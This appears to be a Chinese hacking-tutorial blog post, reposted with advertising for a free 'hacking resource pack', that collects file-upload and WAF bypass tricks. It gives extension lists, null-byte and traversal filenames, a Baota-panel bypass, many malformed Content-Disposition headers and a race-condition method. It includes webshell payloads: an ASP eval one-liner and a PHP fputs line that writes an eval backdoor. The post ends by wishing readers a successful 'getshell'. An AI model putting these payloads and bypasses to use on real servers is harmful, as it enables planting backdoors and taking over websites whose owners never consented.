【黑客技术】文件上传绕过小技巧总结,网络安全零基础入门到精通教程!
慕课网专注IT技术领域,零基础入门教程多 #生活技巧# #工作学习技巧# #在线教育平台推荐#
前言今天给大家总结一下自己在遇到文件上传时遇到的问题,以及可以尝试的方法
部分手法参考各位师傅,在这一并做一个总结,谢谢各位师傅分享。
写的有点乱,各位师傅见谅~~~
服务端的检测与绕过方法浏览器检测,直接关闭浏览器JavaScript检查、或者上传正常文件抓包即可。
后端服务器校验
后缀名检测绕过 MIME类型检测与绕过 文件内容检测与绕过 00截断绕过 条件竞争检测与绕过 12345
MIME编码
https://mp.weixin.qq.com/s/COLw_Edxst-lZsi8MhL6kA 1
(注意,这里说的MIME编码可不是将Content-Type修改为image/png等类似的方式进行绕过的,这种方式修改的是MIME type。而我们今天所说的是MIME编码。)
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
Multipurpose Internet Mail Extensions (MIME) ,通常也称为多用途互联网邮件扩展,从字面意思可以看出,它的出现是为了扩展了电子邮件的格式,支持 ASCII 字符集以外二进制数据(例如图像、音频、视频或其他文件)转换为文本数据,以便能够安全地传输和处理。从commons-fileupload库版本 1.3 开始,FileUpload 可以处理 RFC 2047编码的标头值。
取=后的两个两个十六进制数字,并将其转换为ascii码值对应的字符。 所以MIME编码的格式为=?charset?encoding?encoded text?= 下面是对这个格式的详细解释: =?:编码的起始标记,表示编码的开始。 charset:表示字符集,即非ASCII字符所使用的字符编码集。这通常是一个标识字符集的文本字符串,例如UTF-8或ISO-8859-1。 encoding:表示编码方式,即用于将字符编码为ASCII字符的具体方法。常见的编码方式包括"Q"和"B"。 "Q"表示Quoted-Printable编码,它将非ASCII字符编码为"="后跟两个十六进制数字的形式。 "B"表示Base64编码,它将数据编码为一系列ASCII字符。 encoded text:是实际编码后的文本,即包含非ASCII字符的原始文本的编码版本。 ?=:编码的结束标记,表示编码的结束。 举例: 将shell.jsp通过Quoted-Printable编码方式为 =?utf-8?Q?=73=68=65=6c=6c=2e=6a=73=70?= 将shell.jsp通过Base64编码方式为=?utf-8?B?c2hlbGwuanNw?=
123456789101112131415161718文件上传常见问题
文件上传不回显 确认上传成功之后,遍历目录+上传文件名,文件名不变的情况` `查看存在的图片地址,优先遍历 以上寻找文件的方法需要的前提:文件名不变,字典路径足够多 1.目录没有执行权限(通过控制文件名进行../../跳目录,跳到可以执行脚本语言的目录) 2.上传文件找不到路径(通过控制文件名进行../../跳目录,层级跳到根目录进行访问) 3.上传白名单截断 (有些文件上传处是白名单,后缀名不可以绕,可以利用控制文件名截断的方式去绕过白名单,例如1.jsp%00.jpg) 123456789
截断文件前置名
利用跳目录 因为文件名可以控制,我们就可以利用../跳目录的方式去截断代码本身给添加的前置名 举例: 上传1.txt,代码会自动添加xxxx_xxxx_20_1.txt 这里的利用思路就是上传配合解析的配置文件,例如上传.htaccess配合解析,当然这里实战应用的场景还有很多,只是提供一个思路 Content-Disposition: form-data; name="url"; filename="///\..\..\111.txt" 12345678
绕过宝塔限制(看具体情况)
宝塔限制的规则是../../这种目录穿越,但是宝塔没有限制.././../这种目录穿越,所以我们可以使用.././../来绕过宝塔的限制
用…/1.png 可以穿
黑名单绕过:不同脚本语言支持的解析后缀黑名单简单来说就是目标程序规定了哪些文件不能上传,这里是常用的一些后缀
PHP脚本后缀绕过.php .php2 .php3 .php4 .php5 .php6 .php7 .phps .phps .pht .phtm .phtml .pgif .shtml .htaccess .phar .inc .hphp .ctp .module
1234567891011121314151617181920 ASP 脚本后缀绕过.asp .aspx .config .ashx .asmx .aspq .axd .cshtm .cshtml .rem .soap .vbhtm .vbhtml .asa .cer .shtml
12345678910111213141516 Jsp 脚本后缀绕过.jsp .jspx .jsw .jsv .jspf 12345
Coldfusion:.cfm .cfml .cfc .dbm Perl:.pl .cgi 随机大小写变换:.pHp .pHP5 .PhAr 123 白名单绕过:针对安全设备检测后缀的形式进行绕过
白名单简单来说就是目标程序规定了能上传的后缀名
这里以php为例,其他的类似
file.png.php file.png.Php5 file.php%20 file.php%0a file.php%00 file.php%0d%0a file.php/ file.php.\ file. file.php.... file.pHp5.... file.png.php file.png.pHp5 file.php#.png file.php%00.png file.php\x00.png file.php%0a.png file.php%0d%0a.png file.phpJunk123png file.png.jpg.php file.php%00.png%00.jpg
123456789101112131415161718192021条件竞争
可以利用上传时候的代码执行的需要一定的时间,加大客户端请求时候的并发,造成文件上传时候条件竞争。 准备好webshell,这个webshell的功能要能写一个大马到webapp根目录下,然后我们访问这个大马。 先开两个intruder,然后请求上传的文件的并发开到100。 访问大马的地址,检查是否创建成功。 1234
文件上传 waf绕过
https://mp.weixin.qq.com/s/BLjfhMNkiTuSiIB9ZKAb2Q https://mp.weixin.qq.com/s/FW93imGul0kNxbi2RhXBfA 12
(1)通过filename换行来绕过检测
第一种: Content-Disposition: form-data; name="file"; filename="1.p hp" 第二种: Content-Disposition: form-data; name="file"; file name="1.php" 第三种: Content-Disposition: form-data; name="file"; filename= "1.php" 三种均可 1234567
使用多个等号绕过检测
Content-Disposition: form-data; name="file"; filename==="a.php" 1
增大文件大小,类似于sql注入的大量垃圾字符绕waf检测
Content-Disposition: form-data; aaaaaaaaaaaaaaaaaaaaa......aaaaaaaaaaaaaaaaaaaaa;name="file"; filename="a.php" 1
去掉双引号或替换为单引号绕过waf
第一种: Content-Disposition: form-data; name=file1; filename=a.php 第二种: Content-Disposition: form-data; name='file1'; filename="a.php" 1234
有些只检测第一个firename,可以增加filename干扰拦截
Content-Disposition: form-data; name="file"; filename= ; filename="a.php" 1
混淆waf匹配字段 混淆form-data
Content-Disposition: name="file"; filename="a.php" 去除form-data Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file"; filename="a.php" 替换form-data为垃圾值 Content-Disposition: form-data ; name="file"; filename="a.php" form-data后加空格 Content-Disposition: for+m-data; name="file"; filename="a.php" form-data中加+ 1234567891011
混淆 ConTent-Disposition
COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php" 大小写混淆 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="a.php" 调换Content-Type和ConTent-Disposition的顺序 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="a.php" Content-Type: image/gif 增加额外的头 AAAAAAAA:filename="aaa.jpg"; Content-Disposition: form-data; name="file"; filename="a.php" Content-Type: image/gif 增加额外的头 Content-Length: 666 Content-Disposition: form-data; name="file"; filename="a.php" Content-Type: image/gif 增加额外的头
123456789101112131415161718192021双文件绕过,例如安全狗总以最后一个Content-Disposition中的值作为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值作为接收参数。
容器与WAF对Boundary要求规则不一致
Content-Type: multipart/form-data; boundary=---------------------------471****1141173****525****99 Content-Length: 253 -----------------------------471****1141173****525****99 Content-Disposition: form-data; name="file1"; filename="shell.asp" Content-Type: application/octet-stream <%eval request("a")%> -----------------------------471****1141173****525****99-- 12
条件竞争,一些情况下在上传文件时,先上传到临时目录,然后再检测,检测到再删除,例如:可以上传生成一句话木马的文件
fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>'); 1
上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件a.php
结束语祝大家都能一把梭哈,成功getshell
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
2.网安入门到进阶视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
3.SRC&黑客文档
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
6.网络安全岗面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
网址:【黑客技术】文件上传绕过小技巧总结,网络安全零基础入门到精通教程! https://www.yuejiaxmz.com/news/view/750079
相关内容
最经典的黑客入门教程(安全必备技能)零基础入门到精通,收藏这篇就够了【网络安全】黑客零基础入门教程(超详细)
黑客技术自学教程:网络安全与技术入门
黑客零基础入门教程及方法,从零开始学习黑客技术,看这一篇就够了
黑客入门教程(非常详细)从零基础入门到精通,看完这一篇就够了
零基础小白如何自学黑客(网络安全)?
黑客零基础入门教程,从入门到精通学习路线&规划,看完这篇就够了
黑客赚钱方法汇总,零基础入门到精通,收藏这篇就够了
【网络安全】基础知识详解(非常详细)零基础入门到精通
黑客技术自学网站(非常详细)零基础入门到精通,收藏这篇就够了